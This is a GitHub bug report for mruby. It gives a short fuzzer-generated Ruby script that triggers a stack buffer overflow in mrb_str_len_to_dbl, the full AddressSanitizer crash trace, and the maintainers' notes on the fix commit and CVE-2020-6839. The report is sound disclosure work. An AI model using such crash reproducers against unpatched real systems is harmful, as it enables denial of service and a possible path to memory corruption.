New issue

Jump to bottom

stack overflow in mrb_str_len_to_dbl in src/string.c:2542 #4929

Closed sleicasper opened this issue on Jan 10, 2020 · 3 comments

sleicasper commented on Jan 10, 2020

build mruby in ubuntu18.04 64 bit with ASAN
poc:

```
a=0
b="asdfasdfasdf adaf asdf asdfa sdf asdfasdfasdfa sdf"
c={1=>1, 2=>"foo", "foo"=>nil, nil=> nil}
d=[1,nil," sdfg"]
srand(1337)
a = d.prepend(c,c,){||  }
d = d.reverse(){||  }
b = b.rstrip(){||  }
a = d.join(){||  }
a = d.Float(a,){||  }
```

result:

```
==312==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff44aed8c6 at pc 0x000000605489 bp 0x7fff44aed850 sp 0x7fff44aed848
WRITE of size 1 at 0x7fff44aed8c6 thread T0
    #0 0x605488 in mrb_str_len_to_dbl /home/casper/targets/gramma/mruby/dbg/BUILD/src/string.c:2542:12
    #1 0x6037d9 in mrb_str_to_dbl /home/casper/targets/gramma/mruby/dbg/BUILD/src/string.c:2576:10
    #2 0x65a8eb in mrb_Float /home/casper/targets/gramma/mruby/dbg/BUILD/src/object.c:560:35
    #3 0x7dd373 in mrb_f_float /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-kernel-ext/src/kernel.c:134:10
    #4 0x59356f in mrb_vm_exec /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:1444:18
    #5 0x583324 in mrb_vm_run /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:947:12
    #6 0x5da14f in mrb_top_run /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:2850:12
    #7 0x6a450d in mrb_load_exec /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-compiler/core/parse.y:6438:7
    #8 0x6a521d in mrb_load_file_cxt /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-compiler/core/parse.y:6447:10
    #9 0x4f24ff in main /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:327:11
    #10 0x7f81ecde2b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
    #11 0x41c479 in _start (/home/casper/targets/gramma/mruby/dbg/fuzzrun/mruby+0x41c479)

Address 0x7fff44aed8c6 is located in stack of thread T0 at offset 102 in frame
    #0 0x604a3f in mrb_str_len_to_dbl /home/casper/targets/gramma/mruby/dbg/BUILD/src/string.c:2493

  This frame has 4 object(s):
    [32, 102) 'buf' (line 2494) <== Memory access at offset 102 overflows this variable
    [144, 152) 'end' (line 2497)
    [176, 192) 'x' (line 2506)
    [208, 224) 'tmp' (line 2509)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/casper/targets/gramma/mruby/dbg/BUILD/src/string.c:2542:12 in mrb_str_len_to_dbl
Shadow bytes around the buggy address:
  0x100068955ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100068955ad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100068955ae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100068955af0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100068955b00: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
=>0x100068955b10: 00 00 00 00 00 00 00 00[06]f2 f2 f2 f2 f2 00 f2
  0x100068955b20: f2 f2 f8 f8 f2 f2 f8 f8 f3 f3 f3 f3 00 00 00 00
  0x100068955b30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100068955b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100068955b50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100068955b60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==312==ABORTING
```

matz commented on Jan 10, 2020 Member

Fixed by 2124b9b

matz closed this as completed on Jan 10, 2020

carnil commented on Jan 11, 2020

CVE-2020-6839 was assigned for this issue.

carnil commented on Jan 27, 2020

If not mistaken this issue has been introduced in 2532e62

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants